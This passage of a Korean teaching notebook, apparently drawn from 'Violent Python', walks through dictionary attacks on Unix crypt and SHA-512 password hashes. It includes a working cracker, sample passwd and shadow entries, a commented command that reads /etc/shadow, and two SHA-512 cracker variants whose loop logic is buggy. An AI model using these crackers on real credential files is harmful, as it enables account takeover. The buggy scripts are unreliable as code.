      "## \uccab \ubc88\uc9f8 \ud30c\uc774\uc36c \ud504\ub85c\uadf8\ub7a8\n",
      "\n",
      "- \uc2a4\ud06c\ub9bd\ud2b8\ub97c \uc791\uc131\ud558\uba74\uc11c \uc65c \uc774\ub7ec\ud55c \ud504\ub85c\uadf8\ub7a8\uc774 \ud544\uc694\ud55c\uc9c0 \uacfc\uac70 \uc0ac\ub840\ub97c \ubc14\ud0d5\uc73c\ub85c \uc124\uba85\ud560 \uac83"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "### \uccab\ubc88\uc9f8 \ud30c\uc774\uc36c \ud504\ub85c\uadf8\ub7a8\uc744 \uc704\ud55c \uc900\ube44: \ubed0\uafb8\uae30\uc758 \uc54c\n",
      "\n",
      "- \ubed0\uafb8\uae30\uc758 \uc54c: \ucef4\ud4e8\ud130 \ucca9\ubcf4 \ud65c\ub3d9\uc758 \ubbf8\ub85c\uc18d\uc5d0\uc11c \uc2a4\ud30c\uc774 \ucd94\uc801\ud558\uae30\ub77c\ub294 \ucc45\uc5d0\uc11c \ubbf8\uad6d\uc758 \uad6d\uac00\uc5f0\uad6c\uc18c, \uad70\uc0ac\uc2dc\uc124, \ubc29\uc704\uc5c5\uccb4, \ub300\ud559 \ub4f1\uc744 \ud574\ud0b9\ud55c \ud574\ucee4\uc5d0 \ub300\ud55c \ub0b4\uc6a9\uc744 \uae30\ub85d\n",
      "- \uacf5\uaca9\uacfc \ucd94\uc801\uc758 \uae30\uc220\uc801\uc740 \ub0b4\uc6a9\uc744 \uc138\ubd80\uc801\uc73c\ub85c \uc124\uba85\n",
      "- \uacf5\uaca9\uc790\uc758 \ubc29\ubc95\ub860\uacfc \ud65c\ub3d9\uc5d0 \ub9e4\ub8cc\ub41c \uc2a4\ud1a8\uc740 \uc774\ubbf8 \ud574\ud0b9\ub41c \uc11c\ubc84\ub97c \ud504\ub9b0\ud130\uc5d0 \uc5f0\uacb0\ud558\uc5ec \uacf5\uaca9\uc790\uac00 \uc785\ub825\ud558\ub294 \ubaa8\ub4e0 \ud0a4\ub97c \ub85c\uae45\ud558\ub3c4\ub85d \ud588\ub2e4. \uadf8\ub9ac\uace0 \ub85c\uadf8\ub97c \ud655\uc778\ud558\ub358 \uc911 \ub9e4\uc6b0 \ud765\ubbf8\ub85c\uc6b4 \uc810\uc744 \ubc1c\uacac\ud588\ub2e4.\n",
      "- \uc989\uc2dc \uc554\ud638\ud654\ub41c \ud328\uc2a4\uc6cc\ub4dc \ud30c\uc77c \ub2e4\uc6b4\ub85c\ub4dc\n",
      "- \uacf5\uaca9\uc790\uac00 \ud0c8\ucde8\ud55c \uacc4\uc815\uc73c\ub85c \ub85c\uadf8\uc778\n",
      "- \uc554\ud638\ud654\ub41c \ud328\uc2a4\uc6cc\ub4dc\ub97c \uc54c\uc544\ub0b4\uae30 \uc704\ud574 \ub515\uc154\ub108\ub9ac \uacf5\uaca9\uc744 \ud588\ub2e4\ub294 \uac83 \uc608\uc0c1\n",
      "- \ud574\ucee4\ub294 \ub515\uc154\ub108\ub9ac\uc5d0 \uc788\ub294 \ubaa8\ub4e0 \ub2e8\uc5b4\ub97c \uc0ac\uc6a9\ud558\uc5ec \uc720\ub2c9\uc2a4\uc758 Crypt() \ud568\uc218\ub85c \uc554\ud638\ud654\ud55c \uac83\uc774\ub2e4.\n",
      "- \uadf8\ub9ac\uace0 \uac01 \ud328\uc2a4\uc6cc\ub4dc\ub97c \uc554\ud638\ud654\ud55c \ud6c4\uc5d0 \ud574\ucee4\ub294 \ud0c8\ucde8\ud55c \ud328\uc2a4\uc6cc\ub4dc\uc640 \ube44\uad50\ud55c \uac83\n",
      "- \ub9cc\uc57d \uc77c\uce58\ud558\ub294 \uac83\uc774 \uc788\ub2e4\uba74 \ud328\uc2a4\uc6cc\ub4dc \ud06c\ub798\ud0b9 \uc131\uacf5"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "#### \uc720\ub2c9\uc2a4 \ud328\uc2a4\uc6cc\ub4dc \uad6c\uc870\n",
      "\n",
      "- \ud53c\ud574\uc790\ub294 \ud328\uc2a4\uc6cc\ub4dc\ub85c \ud3c9\ubb38\uc758 egg\ub97c \uc0ac\uc6a9\ud588\uace0\n",
      "- \uc194\ud2b8(salt)\ub294 \uccab\ubc88\uc9f8 \ub450 \ubc14\uc774\ud2b8, \uc5ec\uae30\uc11c\ub294 HX\ub97c \uc0ac\uc6a9\n",
      "- \uc720\ub2c9\uc2a4\uc758 Crypt \ud568\uc218\ub294 crypt('egg', 'HX') = HX9LLTdc/jiDE\ub97c \uac00\uc9c0\uace0 \ud328\uc2a4\uc6cc\ub4dc\ub97c \uc554\ud638\ud654 \uc9c4\ud589"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "victim: HX9LLTdc/jiDE: 503:100:Iama Victim:/home/victim:/bin/sh\n",
      "\n",
      "root: DFNFxgW7C05fo: 504:100: Markus Hess:/root/:/bin/bash\n",
      "\n",
      "- [Understanding /etc/passwd File Format](http://www.cyberciti.biz/faq/understanding-etcpasswd-file-format/)\n",
      "- [/etc/shadow files structure](http://www.mannulinux.org/2013/09/etcshadow-file-structure.html)\n",
      "\n",
      "<img src=\"files/images/passwd_structure.png\" />"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "<img src=\"files/images/salt_structure.png\" />"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "- [WHY SHOULD I \"SALT\" MY PASSWORDS?](http://www.security-faqs.com/wp-content/uploads/2011/01/salting-passwords.jpg)\n",
      "\n",
      "<img src=\"http://www.security-faqs.com/wp-content/uploads/2011/01/salting-passwords.jpg\" />"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "- [How to encrypt user passwords](http://www.jasypt.org/howtoencryptuserpasswords.html)\n",
      "\n",
      "<img src=\"http://www.jasypt.org/images/passwordEncryption.png\" />"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "- [Hack hash passwords](http://joanpuigsanz.wordpress.com/2009/11/26/hack-hash-passwords/)\n",
      "<img src=\"http://joanpuigsanz.files.wordpress.com/2009/11/hash_picture1_en.jpg?w=427&h=200\" />"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "#### Why? passwords\ub97c \ubcf5\uc7a1\ud558\uac8c \ud558\ub098?"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "<img src=\"files/images/with_eugene.png\" />\n",
      "\n",
      "- [\uce74\uc2a4\ud37c\uc2a4\ud0a4\uac00 \uc81c\uc548\ud558\ub294 \ucd5c\uace0\uc758 \ubcf4\uc548 \ub300\ucc45 - ZDNet Korea](http://www.zdnet.co.kr/news/news_view.asp?artice_id=20140313153953&type=det)"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "<img src='files/images/killing_question.jpg' />"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "slide"
      }
     },
     "source": [
      "### \uccab\ubc88\uc9f8 \uc2a4\ud06c\ub9bd\ud2b8 - \uc720\ub2c9\uc2a4 \ud328\uc2a4\uc6cc\ub4dc \ud06c\ub798\ucee4\n",
      "\n",
      "- \ud30c\uc774\uc36c \ud504\ub85c\uadf8\ub798\ubc0d \uc5b8\uc5b4\uc758 \uc9c4\uc815\ud55c \uac15\ub825\ud568\uc740 \ubc14\ub85c \uac01\uc591\uac01\uc0c9\uc758 \ud45c\uc900 \ubc0f \uc678\ubd80 \ub77c\uc774\ube0c\ub7ec\ub9ac\uc5d0 \uc788\ub2e4.\n",
      "- \uc720\ub2c9\uc2a4 \ud328\uc2a4\uc6cc\ub4dc \ud06c\ub798\ucee4\ub97c \ub9cc\ub4e4\uae30 \uc704\ud574\uc11c\ub294 \uba3c\uc800 \uc720\ub2c9\uc2a4 \ud328\uc2a4\uc6cc\ub4dc\ub97c \ud574\uc26c\ud654\ud558\ub294 crypt() \uc54c\uace0\ub9ac\uc998\uc744 \uc0ac\uc6a9\ud574\uc57c \ud568"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "help('crypt')"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Help on module crypt:\n",
        "\n",
        "NAME\n",
        "    crypt\n",
        "\n",
        "FILE\n",
        "    /Applications/Canopy.app/appdata/canopy-1.3.0.1715.macosx-x86_64/Canopy.app/Contents/lib/python2.7/lib-dynload/crypt.so\n",
        "\n",
        "MODULE DOCS\n",
        "    http://docs.python.org/library/crypt\n",
        "\n",
        "FUNCTIONS\n",
        "    crypt(...)\n",
        "        crypt(word, salt) -> string\n",
        "        word will usually be a user's password. salt is a 2-character string\n",
        "        which will be used to select one of 4096 variations of DES. The characters\n",
        "        in salt must be either \".\", \"/\", or an alphanumeric character. Returns\n",
        "        the hashed password as a string, which will be composed of characters from\n",
        "        the same alphabet as the salt.\n",
        "\n",
        "\n"
       ]
      }
     ],
     "prompt_number": 175
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "#### crypt() \ud568\uc218\ub85c \ud328\uc2a4\uc6cc\ub4dc\ub97c \ud574\uc26c\ud654\n",
      "\n",
      "- \uc6d0\ud558\ub294 \uc194\ud2b8\uac12\uacfc \ud568\uaed8 \ub515\uc154\ub108\ub9ac\uc5d0 \uc788\ub294 \ubaa8\ub4e0 \uc694\uc18c\ub97c \uacc4\uc0b0\ud558\ub3c4\ub85d \ubc18\ubcf5\ud558\ub294 \ud504\ub85c\uadf8\ub7a8 \ub9cc\ub4e4 \uc218 \uc788\uc74c"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "import crypt"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [],
     "prompt_number": 176
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# victim \uacc4\uc815\uc758 \ud328\uc2a4\uc6cc\ub4dc\uc640 \uc77c\uce58\ud558\ub294 \uac83 \ud655\uc778\n",
      "crypt.crypt('egg', 'HX')"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 177,
       "text": [
        "'HX9LLTdc/jiDE'"
       ]
      }
     ],
     "prompt_number": 177
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "source": [
      "- \ud504\ub85c\uadf8\ub7a8\uc744 \uc791\uc131\ud558\uae30 \uc704\ud574 2\uac1c\uc758 \ud568\uc218\ub97c \ub9cc\ub4e4 \uac83\n",
      "- \ud558\ub098\ub294 main, \ub2e4\ub978 \ud558\ub098\ub294 testpass\n",
      "- \uc11c\ub85c \ub2e4\ub978 \uae30\ub2a5\ub4e4\uc740 \ubd84\ub9ac\ud558\uc5ec \uc11c\ub85c \ub2e4\ub978 \ud568\uc218\ub85c \ub9cc\ub4dc\ub294 \uac83\uc774 \uc720\uc6a9\n",
      "\n",
      "- main \ud568\uc218\ub294 \uc554\ud638\ud654\ub41c \ud328\uc2a4\uc6cc\ub4dc \ud30c\uc77c\uc778 'passwords.txt'\ub97c \uc5f4\uace0 \ud328\uc2a4\uc6cc\ub4dc \ud30c\uc77c\uc5d0 \uc788\ub294 \uac01 \ub77c\uc778\uc744 \uc77d\uc5b4\uc628\ub2e4.\n",
      "- \uadf8\ub9ac\uace0 \uac01 \ub77c\uc778\ub9c8\ub2e4 \uc0ac\uc6a9\uc790 \uc774\ub984\uacfc \ud574\uc26c\ud654\ub41c \ud328\uc2a4\uc6cc\ub4dc\ub97c \ubd84\ub9ac\ud55c\ub2e4.\n",
      "- \uadf8\ub9ac\uace0 \uac01 \ud574\uc26c\ud654\ub41c \ud328\uc2a4\uc6cc\ub4dc\ub9c8\ub2e4 main \ud568\uc218\ub294 testPass() \ud568\uc218\ub97c \ud638\ucd9c\ud558\uc5ec \ub515\uc154\ub108\ub9ac\uc5d0 \ud30c\uc77c\uc5d0 \uc788\ub294 \ud328\uc2a4\uc6cc\ub4dc\uc640 \uc77c\uce58\ud558\ub294\uc9c0 \ud655\uc778\n",
      "\n",
      "- \ud568\uc218 testPass()\ub294 \uc554\ud638\ud654\ub41c \ud328\uc2a4\uc6cc\ub4dc\ub97c \uc778\uc790\uac12\uc73c\ub85c \uc785\ub825 \ubc1b\uc740 \ud6c4\uc5d0 \ud328\uc2a4\uc6cc\ub4dc\ub97c \ucc3e\uac70\ub098 \uc544\ub2c8\uba74 \ub515\uc154\ub108\ub9ac\uc5d0 \uc788\ub294 \ubaa8\ub4e0 \ub2e8\uc5b4\ub97c \ub300\uc785\ud574\ubcf8 \ud6c4\uc5d0 \ubc18\ud658\n",
      "- \uc5ec\uae30\uc11c \uc8fc\ubaa9\ud560 \uc810\uc740 \ucf54\ub4dc\uc5d0\uc11c \uc554\ud638\ud654\ub41c \ud328\uc2a4\uc6cc\ub4dc \ud574\uc2dc\uc5d0\uc11c \uccab\ubc88\uc9f8 \ub450 \ubb38\uc790\ub97c \uc0ac\uc6a9\ud558\uc5ec \uc194\ud2b8\ub97c \ub9cc\ub4e0\ub2e4\ub294 \uac83\n",
      "- \ub2e4\uc74c\uc73c\ub85c, \ud568\uc218\ub294 \ub515\uc154\ub108\ub9ac\ub97c \uc5f4\uc5b4\uc11c \ub515\uc154\ub108\ub9ac\uc5d0 \uc788\ub294 \uac01 \ub2e8\uc5b4\ub97c \uc77d\uc5b4\uc628\ub2e4. \uadf8\ub9ac\uace0 \ub2e8\uc5b4\ub9c8\ub2e4 \uc194\ud2b8\ub97c \uc0ac\uc6a9\ud558\uc5ec \ud328\uc2a4\uc6cc\ub4dc \ud574\uc2dc\ub97c \uc0dd\uc131\n",
      "- \uadf8\ub9ac\uace0 \uacb0\uacfc\uac12\uc774 \uc554\ud638\ud654\ub41c \ud328\uc2a4\uc6cc\ub4dc \ud574\uc2dc\uc640 \ub3d9\uc77c\ud558\uba74 \ud568\uc218\ub294 \ud328\uc2a4\uc6cc\ub4dc\ub97c \ucc3e\uc558\ub2e4\ub294 \uba54\uc2dc\uc9c0\uc640 \ud568\uaed8 \uc885\ub8cc\n",
      "- \uadf8\ub807\uc9c0 \uc54a\uc73c\uba74 \ub515\uc154\ub108\ub9ac\uc5d0 \uc788\ub294 \ubaa8\ub4e0 \ub2e8\uc5b4\ub97c \uacc4\uc18d \ud14c\uc2a4\ud2b8"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {},
     "source": [
      "#### \uc6b0\ub9ac\uac00 \ud0c8\ucde8\ud55c passwords"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!cat ch01/passwords.txt"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "victim: HX9LLTdc/jiDE: 503:100:Iama Victim:/home/victim:/bin/sh\r\n",
        "root: DFNFxgW7C05fo: 504:100: Markus Hess:/root:/bin/bash\r\n"
       ]
      }
     ],
     "prompt_number": 179
    },
    {
     "cell_type": "markdown",
     "metadata": {},
     "source": [
      "#### \uc6b0\ub9ac\uac00 \ub300\uc785\ud560 dictionary"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!cat ch01/dictionary.txt"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "apple\r\n",
        "orange\r\n",
        "egg\r\n",
        "lemon\r\n",
        "grapes\r\n",
        "secret\r\n",
        "strawberry\r\n",
        "password\r\n"
       ]
      }
     ],
     "prompt_number": 181
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "<img src=\"files/images/killing_question.jpg\" />"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "source": [
      "#### \ud55c\uae00 \uc8fc\uc11d \ubb38\uc81c \ubc1c\uc0dd\uc2dc \uc18c\uc2a4\ucf54\ub4dc \uc81c\uc77c \uc704\uc5d0 \ucd94\uac00(ascii encoding blah~~)\n",
      "\n",
      "    # -*- coding: utf-8\n",
      "    import sys\n",
      "    reload(sys)\n",
      "    sys.setdefaultencoding('utf-8')"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "<img src=\"files/images/dict_attack1.png\" />"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# %%writefile ch01/test_pass.py\n",
      "import crypt\n",
      "\n",
      "def testPass(cryptPass):\n",
      "    '''dictionary \ud30c\uc77c\uc744 \uc77d\uc5b4\uc11c \ub300\uc785 word\uc640 salt\ub97c \ubb36\uc5b4\uc11c \uc554\ud638\ubb38\uc744 \ub9cc\ub4e0\ub2e4.\n",
      "    \uc0c8\ub85c \ub9cc\ub4e4\uc5b4\uc9c4 \uc554\ud638\ubb38\uacfc \uc6b0\ub9ac\uac00 \ud0c8\ucde8\ud55c \uc554\ud638\ubb38\uacfc \ube44\uad50\ud574\uc11c \uac19\ub2e4\uba74 \ub300\uc785 word\uac00\n",
      "    \uc6d0\ub798 \uc0ac\uc6a9\uc790\uc758 \uc554\ud638\ub2e4.'''\n",
      "    # \uc81c\uc77c \uc55e\uc5d0 2\uac1c\ub294 salt\n",
      "    salt = cryptPass[0:2]\n",
      "    dictionary = 'ch01/dictionary.txt'\n",
      "    dictFile = open(dictionary, 'r')\n",
      "    for word in dictFile:\n",
      "        word = word.strip('\\n')\n",
      "        # crypt \uba54\uc18c\ub4dc\uc5d0 dictionary\uc5d0\uc11c \uc77d\uc740 \ub77c\uc778\ubcc4 word\uc640 \n",
      "        # salt(\uc774\uac74 \uc704\uc5d0\uc11c 1\ubc88\ub9cc \uc77d\uc73c\uba74 \ub428)\ub97c \ub123\uc74c\n",
      "        cryptWord = crypt.crypt(word, salt)\n",
      "        # \uc0c8\ub85c \ub9cc\ub4e0 \uc554\ud638\ubb38\uacfc \uc6b0\ub9ac\uac00 \uc5bb\uc5b4 \uc628 \uc554\ud638\ubb38\uacfc \ub611\uac19\uc740\uc9c0 \ube44\uad50\n",
      "        if(cryptWord == cryptPass):\n",
      "            print '[+] Found Password: ' + word + '\\n'\n",
      "            return\n",
      "    print '[-] Password Not Found. \\n'\n",
      "    return\n",
      "\n",
      "def main():\n",
      "    '''\uc554\ud638\ud654\ub41c passwords \ud30c\uc77c\uc744 \uc5f4\uc5b4\uc11c testPass\ub97c \ud638\ucd9c\ud558\uc5ec dictionary \ubc29\uc2dd\uc73c\ub85c \n",
      "    \uc554\ud638\ub97c Brute Forcing \ud55c\ub2e4.'''\n",
      "    passwords = 'ch01/passwords.txt'\n",
      "    passFile = open(passwords)\n",
      "    for line in passFile:\n",
      "        # ':' \uc774 \uc788\uc744 \ub54c\ub9cc\n",
      "        if ':' in line:\n",
      "            # :\uc758 \uc55e\ubd80\ubd84\uc740 user: victim, root\n",
      "            user = line.split(':')[0]\n",
      "            # : \ub4a4\uc758 \ubd80\ubd84\uc774 HX~\n",
      "            cryptPass = line.split(':')[1].strip(' ')\n",
      "            print '[*] Cracking Password For: ' + user\n",
      "            # : \ub4a4\uc758 \ubd80\ubd84\uc744 testPass\uc5d0 \ub118\uaca8\uc90c. \uc6b0\ub9ac\uac00 \ud480\uc5b4\uc57c \ud560 \uc554\ud638\ubb38\n",
      "            testPass(cryptPass)\n",
      "\n",
      "if __name__ == '__main__':\n",
      "    main()"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[*] Cracking Password For: victim\n",
        "[+] Found Password: egg\n",
        "\n",
        "[*] Cracking Password For: root\n",
        "[-] Password Not Found. \n",
        "\n"
       ]
      }
     ],
     "prompt_number": 182
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "#### split\uacfc strip"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "s = '''victim: HX9LLTdc/jiDE: 503:100:Iama Victim:/home/victim:/bin/sh'''\n",
      "print s"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "victim: HX9LLTdc/jiDE: 503:100:Iama Victim:/home/victim:/bin/sh\n"
       ]
      }
     ],
     "prompt_number": 183
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "s.split(':')"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 184,
       "text": [
        "['victim',\n",
        " ' HX9LLTdc/jiDE',\n",
        " ' 503',\n",
        " '100',\n",
        " 'Iama Victim',\n",
        " '/home/victim',\n",
        " '/bin/sh']"
       ]
      }
     ],
     "prompt_number": 184
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "s.split(':')[1].strip()[0:2]"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 185,
       "text": [
        "'HX'"
       ]
      }
     ],
     "prompt_number": 185
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "subslide"
      }
     },
     "source": [
      "<img src=\"files/images/quiz.png\" /> \n",
      "#### Quiz\n",
      "\n",
      "- \ud328\uc2a4\uc6cc\ub4dc\ub97c \ucc3e\uc558\ub2e4. \uc774\uac78 \uc77c\uc77c\uc774 print\ubb38\uc73c\ub85c \ucd9c\ub825\ud558\uba74 \ub098\uc911\uc5d0 \ucc3e\uae30\uac00 \ud798\ub4e4\ub2e4. \n",
      "- \uc5b4\ub5bb\uac8c \ud558\ub294 \ubc29\ubc95\uc774 \ub098\uc911\uc5d0 \uc790\ub3d9\ud654\ub97c \ud558\uae30\uc5d0 \uc88b\uc744\uae4c\uc694?"
     ]
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "#### Book Quiz\n",
      "\n",
      "- \ucd5c\uc2e0 \uc720\ub2c9\uc2a4\ub098 \ub9ac\ub205\uc2a4 \uacc4\uc5f4\uc758 \uc6b4\uc601\uccb4\uc81c\uc5d0\uc11c\ub294 /etc/shadow \ud30c\uc77c\uc5d0 \ud574\uc2dc\ud654\ub41c \ud328\uc2a4\uc6b0\ub354\ub97c \uc800\uc7a5\ud558\uace0 \ub354\uc6b1 \ubcf4\uc548\uc801\uc73c\ub85c \uc548\uc804\ud55c \ud574\uc2dc\ud654 \uc54c\uace0\ub9ac\uc998 \uc0ac\uc6a9\n",
      "- SHA-512 \uae30\ub2a5\uc740 \ud30c\uc774\uc36c hashlib \uc5d0 \uc788\uc74c\n",
      "- \uc5ec\ub7ec\ubd84\uc758 \uacfc\uc81c\ub294 **SHA-512 \ud574\uc2dc\ub97c \uc0ac\uc6a9\ud558\ub294 \ud328\uc2a4\uc6cc\ub4dc\ub97c \ud06c\ub798\ud0b9\ud558\ub294 \uc2a4\ud06c\ub9bd\ud2b8\ub85c \uc5c5\ub370\uc774\ud2b8** \ud558\ub294 \uac83\n",
      "\n",
      "-----\n",
      "\n",
      "#### SHA-512 \uc0bd\uc9c8\uae30\n",
      "\n",
      "- [Retriving passwords /etc/shadow](http://geraintw.blogspot.kr/2013/03/retriving-passwords-etcshadow.html): hash \uad6c\uc870\uc5d0 \ub300\ud574\uc11c \ub098\uc634"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "# cat /etc/shadow | grep root\n",
      "# root:$6$ms32yIGN$NyXj0Yofkk14MpRwFHvXQW0yvUid.slJtgxHE2EuQqgD74S/GaGGs5VCnqeC.bS0MzTf/EFS3uspQMNeepIAc.:15503:0:99999:7:::"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "outputs": [],
     "prompt_number": 186
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!cat ch01/dictionary.txt"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "apple\r\n",
        "orange\r\n",
        "egg\r\n",
        "lemon\r\n",
        "grapes\r\n",
        "secret\r\n",
        "strawberry\r\n",
        "password\r\n"
       ]
      }
     ],
     "prompt_number": 187
    },
    {
     "cell_type": "markdown",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "source": [
      "#### \ucc45\uc5d0 \uc788\ub294 shadow.txt"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "%%writefile ch01/shadow.txt\n",
      "root:$6$ms32yIGN$NyXj0Yofkk14MpRwFHvXQW0yvUid.slJtgxHE2EuQqgD74S/GaGGs5VCnqeC.bS0MzTf/EFS3uspQMNeepIAc.:15503:0:99999:7:::"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "fragment"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Overwriting ch01/shadow.txt\n"
       ]
      }
     ],
     "prompt_number": 188
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "%%writefile ch01/test_sha512.py\n",
      "# This source is not exactly.\n",
      "import os,sys\n",
      "import crypt\n",
      "import codecs\n",
      "from datetime import datetime,timedelta\n",
      "import argparse\n",
      "\n",
      "def testPass(cryptPass,user):\n",
      " \n",
      "    dicFile = open ('ch01/dictionary.txt','r')\n",
      "    ctype = cryptPass.split(\"$\")[1]\n",
      "    \n",
      "    if ctype == '6':\n",
      "        print \"[+] Hash type SHA-512 detected ...\"\n",
      "        print \"[+] Be patien ...\"\n",
      "        salt = cryptPass.split(\"$\")[2]\n",
      "        insalt = \"$\" + ctype + \"$\" + salt + \"$\"\n",
      "        for word in dicFile.readlines():\n",
      "            word=word.strip('\\n')\n",
      "            cryptWord = crypt.crypt(word,insalt)\n",
      "            if (cryptWord == cryptPass):\n",
      "                time = time = str(datetime.today() - today)\n",
      "                print \"[+] Found password for the user: \" + user + \" ====> \" + word + \" Time: \"+time+\"\\n\"\n",
      "                return\n",
      "            else:\n",
      "                print \"Nothing found, bye!!\"\n",
      "                break\n",
      "\n",
      "def main():\n",
      " \n",
      "    parse = argparse.ArgumentParser(description=\\\n",
      "                                    'A simple brute force /etc/shadow .')\n",
      "    parse.add_argument('-f', action='store', dest='path', \\\n",
      "                      help='Path to shadow file, example: \\'/etc/shadow\\'')\n",
      "    argus=parse.parse_args()\n",
      "    if argus.path == None:\n",
      "        parse.print_help()\n",
      "    else:\n",
      "        passFile = open (argus.path,'r')\n",
      "        for line in passFile.readlines():\n",
      "            line = line.replace(\"\\n\",\"\").split(\":\")\n",
      "        if  not line[1] in [ 'x', '*','!' ]:\n",
      "            user = line[0]\n",
      "            cryptPass = line[1]\n",
      "            testPass(cryptPass,user)\n",
      "\n",
      "if __name__==\"__main__\":\n",
      "   main()"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "Overwriting ch01/test_sha512.py\n"
       ]
      }
     ],
     "prompt_number": 189
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "!python ch01/test_sha512.py -f ch01/shadow.txt"
     ],
     "language": "python",
     "metadata": {
      "slideshow": {
       "slide_type": "skip"
      }
     },
     "outputs": [
      {
       "output_type": "stream",
       "stream": "stdout",
       "text": [
        "[+] Hash type SHA-512 detected ...\r\n",
        "[+] Be patien ...\r\n",
        "Nothing found, bye!!\r\n"
       ]
      }
     ],
     "prompt_number": 190
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "%%writefile ch01/test_512_2.py\n",
      "import crypt\n",
      "import hashlib\n",
      "\n",
      "def testPass(cryptPass):\n",
      "    salt=cryptPass.split('$')[2]\n",
      "    print '[i] salt = ' + salt\n",
      "    myPass=cryptPass.split('$')[3]\n",
      "    print 'myPass ', myPass\n",
      "    dictFile = open('ch01/dictionary.txt', 'r')\n",
      "    for word in dictFile.readlines():\n",
      "        word = word.strip('\\n')\n",
      "        cryptWord = crypt.crypt(word, '$6$' + salt + '$')\n",
      "        print cryptWord\n",
      "        cryptWord = cryptWord.split('$')[3]\n",
      "        if cryptWord==myPass:\n",
      "            print '[+] Found password: ' + word + '\\n'\n",
      "            return\n",
      "        print '[-] Password not found.\\n'\n",
      "        return\n",
      "\n",
      "def main():\n",
